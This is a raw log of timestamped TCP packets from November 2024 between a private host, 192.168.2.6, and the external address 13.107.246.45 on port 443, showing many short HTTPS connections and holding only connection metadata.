Nov 14, 2024 17:24:54.928587914 CET	443	49946	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:54.928597927 CET	49946	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:54.928602934 CET	443	49946	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:54.931969881 CET	49951	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:54.931997061 CET	443	49951	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:54.932152033 CET	49951	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:54.932284117 CET	49951	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:54.932291985 CET	443	49951	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:55.015654087 CET	443	49941	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:55.015677929 CET	443	49941	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:55.015718937 CET	49941	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:55.015748024 CET	443	49941	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:55.015763998 CET	49941	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:55.015784979 CET	49941	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:55.133910894 CET	443	49941	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:55.133936882 CET	443	49941	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:55.133995056 CET	49941	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:55.134032965 CET	443	49941	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:55.134048939 CET	49941	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:55.134072065 CET	49941	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:55.253040075 CET	443	49941	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:55.253063917 CET	443	49941	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:55.253110886 CET	49941	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:55.253151894 CET	443	49941	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:55.253170013 CET	49941	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:55.253204107 CET	49941	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:55.390454054 CET	443	49941	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:55.390475988 CET	443	49941	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:55.390526056 CET	49941	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:55.390547037 CET	443	49941	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:55.390572071 CET	49941	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:55.390583992 CET	49941	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:55.509864092 CET	443	49941	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:55.509881973 CET	443	49941	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:55.509936094 CET	49941	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:55.509954929 CET	443	49941	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:55.509980917 CET	49941	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:55.510003090 CET	49941	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:55.595840931 CET	443	49947	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:55.596342087 CET	49947	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:55.596380949 CET	443	49947	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:55.596887112 CET	49947	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:55.596893072 CET	443	49947	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:55.629962921 CET	443	49941	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:55.629977942 CET	443	49941	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:55.630042076 CET	49941	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:55.630084991 CET	443	49941	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:55.630131006 CET	49941	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:55.641951084 CET	443	49950	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:55.642421961 CET	443	49948	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:55.643579960 CET	49950	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:55.643591881 CET	443	49950	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:55.644334078 CET	49950	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:55.644337893 CET	443	49950	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:55.644757986 CET	49948	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:55.644768000 CET	443	49948	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:55.645601988 CET	49948	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:55.645606041 CET	443	49948	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:55.676975965 CET	443	49951	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:55.677726984 CET	49951	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:55.677747965 CET	443	49951	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:55.678385973 CET	49951	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:55.678390980 CET	443	49951	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:55.720017910 CET	443	49949	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:55.722681999 CET	443	49941	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:55.722698927 CET	443	49941	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:55.722744942 CET	49941	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:55.722762108 CET	443	49941	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:55.722780943 CET	49941	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:55.722800016 CET	49941	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:55.727965117 CET	49949	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:55.727981091 CET	443	49949	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:55.728487015 CET	49949	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:55.728492022 CET	443	49949	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:55.774372101 CET	443	49941	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:55.774386883 CET	443	49941	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:55.774431944 CET	49941	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:55.774451017 CET	443	49941	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:55.774451017 CET	443	49950	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:55.774477959 CET	49941	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:55.774502039 CET	49941	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:55.774530888 CET	443	49950	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:55.774584055 CET	49950	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:55.776592970 CET	49950	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:55.776601076 CET	443	49950	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:55.776611090 CET	49950	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:55.776614904 CET	443	49950	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:55.778171062 CET	443	49948	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:55.778208017 CET	443	49948	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:55.778250933 CET	49948	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:55.778256893 CET	443	49948	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:55.778269053 CET	443	49948	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:55.778320074 CET	49948	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:55.783992052 CET	49948	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:55.783994913 CET	443	49948	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:55.784003973 CET	49948	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:55.784006119 CET	443	49948	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:55.788867950 CET	49957	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:55.788899899 CET	49956	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:55.788909912 CET	443	49957	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:55.788944006 CET	443	49956	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:55.788960934 CET	49957	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:55.789000034 CET	49956	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:55.789145947 CET	49956	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:55.789165974 CET	443	49956	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:55.789199114 CET	49957	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:55.789213896 CET	443	49957	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:55.815293074 CET	443	49951	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:55.815406084 CET	443	49951	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:55.815452099 CET	49951	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:55.815464020 CET	443	49951	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:55.815531969 CET	443	49951	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:55.815577984 CET	49951	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:55.815635920 CET	49951	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:55.815649986 CET	443	49951	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:55.815660000 CET	49951	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:55.815665007 CET	443	49951	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:55.818428993 CET	49958	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:55.818470955 CET	443	49958	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:55.818547964 CET	49958	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:55.818684101 CET	49958	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:55.818703890 CET	443	49958	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:55.853975058 CET	443	49949	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:55.854046106 CET	443	49949	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:55.854089022 CET	49949	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:55.854233980 CET	49949	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:55.854240894 CET	443	49949	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:55.854269028 CET	49949	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:55.854274035 CET	443	49949	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:55.857409954 CET	49959	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:55.857429981 CET	443	49959	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:55.857496023 CET	49959	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:55.857637882 CET	49959	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:55.857642889 CET	443	49959	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:55.893399954 CET	443	49941	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:55.893419981 CET	443	49941	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:55.893461943 CET	49941	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:55.893475056 CET	443	49941	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:55.893507957 CET	49941	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:55.893523932 CET	49941	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:55.941610098 CET	443	49947	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:55.941670895 CET	443	49947	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:55.941848993 CET	49947	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:55.942038059 CET	49947	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:55.942064047 CET	443	49947	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:55.942095995 CET	49947	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:55.942105055 CET	443	49947	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:55.950268984 CET	49960	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:55.950289965 CET	443	49960	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:55.950355053 CET	49960	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:55.950520992 CET	49960	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:55.950534105 CET	443	49960	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:55.987534046 CET	443	49941	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:55.987548113 CET	443	49941	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:55.987607956 CET	49941	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:55.987627983 CET	443	49941	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:55.987677097 CET	49941	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:56.081156969 CET	443	49941	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:56.081176996 CET	443	49941	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:56.081232071 CET	49941	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:56.081248045 CET	443	49941	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:56.081284046 CET	49941	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:56.131412983 CET	443	49941	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:56.131453037 CET	443	49941	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:56.131475925 CET	443	49941	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:56.131503105 CET	49941	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:56.131587029 CET	49941	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:56.134408951 CET	49941	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:56.134423971 CET	443	49941	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:56.699461937 CET	443	49956	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:56.704771042 CET	443	49959	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:56.707330942 CET	443	49958	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:56.707771063 CET	443	49957	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:56.723639011 CET	443	49960	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:56.750653982 CET	49959	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:56.750653982 CET	49957	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:56.750741959 CET	49956	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:56.751365900 CET	49958	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:56.777451038 CET	49960	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:56.805573940 CET	49960	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:56.805581093 CET	443	49960	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:56.806416035 CET	49960	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:56.806421041 CET	443	49960	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:56.806437969 CET	49957	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:56.806453943 CET	443	49957	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:56.807117939 CET	49956	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:56.807136059 CET	49957	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:56.807142019 CET	443	49957	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:56.807173967 CET	443	49956	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:56.807698011 CET	49956	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:56.807713985 CET	443	49956	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:56.808299065 CET	49959	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:56.808299065 CET	49959	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:56.808306932 CET	443	49959	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:56.808320999 CET	443	49959	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:56.808631897 CET	49958	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:56.808645964 CET	443	49958	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:56.809489012 CET	49958	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:56.809504032 CET	443	49958	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:56.938981056 CET	443	49960	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:56.938990116 CET	443	49960	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:56.939016104 CET	443	49960	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:56.939131975 CET	49960	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:56.939131975 CET	49960	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:56.939912081 CET	443	49958	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:56.939992905 CET	443	49958	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:56.940124989 CET	443	49958	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:56.940176010 CET	49958	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:56.940251112 CET	49958	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:56.952270985 CET	443	49957	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:56.952449083 CET	443	49957	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:56.953466892 CET	49957	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:56.974601984 CET	443	49959	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:56.974777937 CET	443	49959	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:56.976069927 CET	49959	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:56.982074022 CET	443	49956	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:56.982229948 CET	443	49956	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:56.987554073 CET	49956	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:57.008156061 CET	49960	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:57.008164883 CET	443	49960	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:57.008183956 CET	49959	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:57.008183956 CET	49959	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:57.008213043 CET	443	49959	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:57.008222103 CET	443	49959	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:57.010179996 CET	49956	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:57.010222912 CET	443	49956	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:57.010265112 CET	49956	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:57.010282040 CET	443	49956	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:57.010777950 CET	49958	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:57.010777950 CET	49958	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:57.010796070 CET	443	49958	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:57.010823965 CET	443	49958	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:57.011287928 CET	49957	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:57.011293888 CET	443	49957	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:57.011337042 CET	49957	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:57.011343002 CET	443	49957	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:57.017122030 CET	49966	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:57.017151117 CET	443	49966	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:57.018587112 CET	49967	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:57.018618107 CET	443	49967	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:57.018665075 CET	49966	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:57.018819094 CET	49967	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:57.021312952 CET	49968	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:57.021312952 CET	49969	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:57.021334887 CET	443	49969	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:57.021343946 CET	443	49968	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:57.021418095 CET	49968	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:57.021419048 CET	49969	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:57.022294044 CET	49970	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:57.022300959 CET	443	49970	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:57.022532940 CET	49968	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:57.022536993 CET	49966	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:57.022545099 CET	443	49968	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:57.022547007 CET	443	49966	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:57.022568941 CET	49970	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:57.022753954 CET	49970	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:57.022763968 CET	443	49970	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:57.022926092 CET	49967	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:57.022938967 CET	443	49967	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:57.024537086 CET	49969	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:57.024553061 CET	443	49969	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:57.764607906 CET	443	49968	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:57.765182972 CET	49968	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:57.765196085 CET	443	49968	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:57.765857935 CET	49968	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:57.765863895 CET	443	49968	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:57.779531956 CET	443	49970	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:57.780597925 CET	49970	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:57.780618906 CET	443	49970	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:57.781414986 CET	49970	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:57.781421900 CET	443	49970	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:57.806835890 CET	443	49969	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:57.807204962 CET	49969	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:57.807231903 CET	443	49969	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:57.807602882 CET	49969	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:57.807607889 CET	443	49969	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:57.826658964 CET	443	49966	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:57.826994896 CET	49966	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:57.827004910 CET	443	49966	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:57.827405930 CET	49966	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:57.827409983 CET	443	49966	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:57.829369068 CET	443	49967	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:57.829669952 CET	49967	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:57.829695940 CET	443	49967	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:57.830069065 CET	49967	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:57.830076933 CET	443	49967	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:57.902759075 CET	443	49968	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:57.902833939 CET	443	49968	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:57.902873039 CET	49968	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:57.903100967 CET	49968	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:57.903112888 CET	443	49968	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:57.903122902 CET	49968	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:57.903129101 CET	443	49968	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:57.909212112 CET	49973	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:57.909234047 CET	443	49973	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:57.909295082 CET	49973	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:57.909526110 CET	49973	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:57.909538984 CET	443	49973	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:57.910089970 CET	443	49970	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:57.910170078 CET	443	49970	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:57.910212994 CET	49970	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:57.910356045 CET	49970	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:57.910362005 CET	443	49970	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:57.910377979 CET	49970	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:57.910382986 CET	443	49970	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:57.912925005 CET	49974	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:57.912965059 CET	443	49974	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:57.913031101 CET	49974	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:57.913223028 CET	49974	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:57.913240910 CET	443	49974	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:57.948519945 CET	443	49969	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:57.948599100 CET	443	49969	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:57.948649883 CET	49969	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:57.948661089 CET	443	49969	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:57.948734045 CET	443	49969	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:57.948785067 CET	49969	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:57.948910952 CET	49969	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:57.948920012 CET	443	49969	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:57.952159882 CET	49975	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:57.952169895 CET	443	49975	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:57.952229023 CET	49975	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:57.952439070 CET	49975	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:57.952450991 CET	443	49975	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:57.979034901 CET	443	49966	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:57.979079962 CET	443	49966	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:57.979127884 CET	49966	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:57.979247093 CET	49966	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:57.979254961 CET	443	49966	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:57.984569073 CET	443	49967	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:57.984654903 CET	443	49967	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:57.984709978 CET	49967	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:57.986886024 CET	49976	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:57.986977100 CET	443	49976	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:57.987057924 CET	49976	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:57.987308979 CET	49967	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:57.987334967 CET	443	49967	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:57.987353086 CET	49967	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:57.987360001 CET	443	49967	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:57.988842964 CET	49976	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:57.988887072 CET	443	49976	13.107.246.45	192.168.2.6
